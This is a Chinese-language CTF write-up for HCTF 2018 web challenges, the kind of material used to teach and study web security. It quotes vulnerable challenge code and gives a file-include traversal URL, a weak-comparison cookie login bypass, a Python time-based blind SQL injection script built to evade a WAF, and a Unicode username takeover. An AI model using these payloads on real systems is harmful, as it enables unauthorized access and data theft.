Xi4or0uji's blog

HCTF2018 writeup

字数统计: 1.4k阅读时长: 7 min
2018/11/12 Share

warmup

这题进去要求你读/ffffllllaaaagggg文件
源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

可以看到需要进行一个白名单过滤,然后再请求文件,可以利用?进行截断,然后再通过include去请求文件
payload:

1
http://warmup.2018.hctf.io/index.php?file=hint.php?/../../../../ffffllllaaaagggg

参考:http://seaii-blog.com/index.php/2018/07/03/84.html

share

robots.txt看到的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
/* this terrible code */
class FileController < ApplicationController
before_action :authenticate_user!
before_action :authenticate_role
before_action :authenticate_admin
protect_from_forgery :except => [:upload , :share_people_test]

# post /file/upload
def upload
if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
file = params[:file][:myfile]
name = Base64.decode64(file.original_filename)
ext = name.split('.')[-1]
if ext == name || ext ==nil
ext=""
end
share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
share.write(Base64.decode64(file.read))
share.close
File.rename(share.path,share.path+"."+ext)
tmp = Sharefile.new
tmp.public = 0
tmp.path = share.path
tmp.name = name
tmp.tempname= share.path.split('/')[-1]+"."+ext
tmp.context = params[:file][:context]
tmp.save
end
redirect_to root_path
end

# post /file/Alpha_test
def Alpha_test
if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
fid = params[:fid].to_i
uid = params[:uid].to_i
if(fid > 0 && uid > 0)
if(Sharelist.find_by(sharefile_id: fid)==nil)
if(Sharelist.count("user_id = ?", uid.to_s) <5)
share = Sharelist.new
share.sharefile_id = fid
share.user_id = uid
share.save
end
end
end
end
redirect_to(root_path)
end

def share_file_to_all
file = Sharefile.find(params[:fid])
File.rename(file.path,Rails.root+"/public/download/"+file.name)
file.public = true
file.path = Rails.root+"/public/download/"+file.name
file.save
end

end

未完待续……..

kzone

www.zip 下载了源码然后可以看到member.php有利用cookie进行登录的验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}

可以看到将login_data取出来然后进行json_decode,再根据admin_user的值去数据库进行选择,如果没有值,登录失败,否则将password进行sha1加密接着跟login_data的admin_pass进行比对,相等即登陆成功,这里有个关键点就是admin_pass和login_data的比对是弱类型比对,因此我们可以进行数字与字符串的弱等于进而绕过,密码用数字进行爆破
最终payload

1
islogin=1; login_data={"admin_user":"admin", "admin_pass": 65}

成功登了进去却没有看到flag,只能对数据库进行爆破
看一下safe.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}

function safe($string)
{
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = safe($val);
}
} else {
$string = waf($string);
}
return $string;
}

foreach ($_GET as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_GET[$key] = $value;
}
foreach ($_POST as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_POST[$key] = $value;
}
foreach ($_COOKIE as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_COOKIE[$key] = $value;
}
unset($cplen, $key, $value);
?>

可以看到,safe.php对cookie传过来的值进行了waf的过滤,然后再将过了waf的值放进cookie进行下一步操作,而waf几乎把所有函数都过滤了…….
这里可以先留意一个逻辑,后台对于cookie里面的值,都是先进行了waf的过滤,然后json_decode,最后进行数据处理,因此我们可以对字符进行json编码,从而绕过waf的限制
盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import time
url = "http://kzone.2018.hctf.io/admin/login.php"
res = ""
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!#$%@&*()-+=,|./:;?"
for i in range(1,50):
for char in chars:
start_time = time.time()
# '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
# payload = "'\u006fr\u0020s\u0075bstr(pass\u0077ord,{0},1)\u003d'{1}'\u0020and\u0020sl\u0065ep(5)\u0023".format(i,chr(char))
# admin BE933CBA048A9727A2D2E9E08F5ED046
# payload = "'\u006fr\u0020s\u0075bstr((select\u0020binary\u0020table_name\u0020from\u0020inf\u006frmation_schema.talbes\u0020where\u0020TABLE_SCHEMA\u003ddatabase()\u0020limit\u00200,1),{0},1)\u003d'{1}'\u0020and\u0020sl\u0065ep(5)\u0023".format(i,char)
# F1444g
# payload = "'\u006fr\u0020s\u0075bstr((select\u0020binary\u0020column_name\u0020from\u0020inf\u006frmation_schema.columns\u0020where\u0020TABLE_NAME\u003d'F1444g'\u0020limit\u00200,1),{0},1)\u003d'{1}'\u0020and\u0020sl\u0065ep(5)\u0023".format(i,char)
# F1a9
payload = "'\u006fr\u0020s\u0075bstr((select\u0020binary\u0020F1a9\u0020from\u0020F1444g\u0020limit\u00200,1),{0},1)\u003d'{1}'\u0020and\u0020sl\u0065ep(5)\u0023".format(i,char)
# hctf{4526a8cbd741b3f790f95ad32c2514b9}
headers = {"Cookie":'islogin=1; login_Data={\"admin_user\":\"'+payload+'\","admin_pass": "0"}'}
result = requests.get(url,headers=headers)
if time.time()-start_time > 3:
res += char
print(res)
break
print(res)

admin

这题可以看到提示了在github上面有源码,https://github.com/woadsl1234/hctf_flask/
将文件下下来可以看到有个1.sh说了每30秒重置一次数据库

然后再去找源码可以看到route.py的login函数将传过来的username的值strlower一下,然后change里面也对username进行strlower


再跟过去看一下strlower是什么东西

嗯,就是一个将大写转成小写的函数,但是结合前面的函数可以看现一个漏洞,如果我们先注册一个名字为ᴬᴬᴬ的用户,然后strlower就会将它转成AAA,这个时候是跟后台的aaa不同的,因此可以注册成功,这是如果我们再进行修改密码,可以看到,change函数也有一个strlower函数,这时AAA就会被转成aaa,然后就成功地越权改了密码了
因此最后的操作就是,先注册一个ᴬdmin,然后改密码再以admin的身份登录就有flag了
参考:https://paper.tuisec.win/detail/a9ad1440249d95b

hide and seek

CATALOG
  1. 1. warmup
  2. 2. share
  3. 3. kzone
  4. 4. admin
  5. 5. hide and seek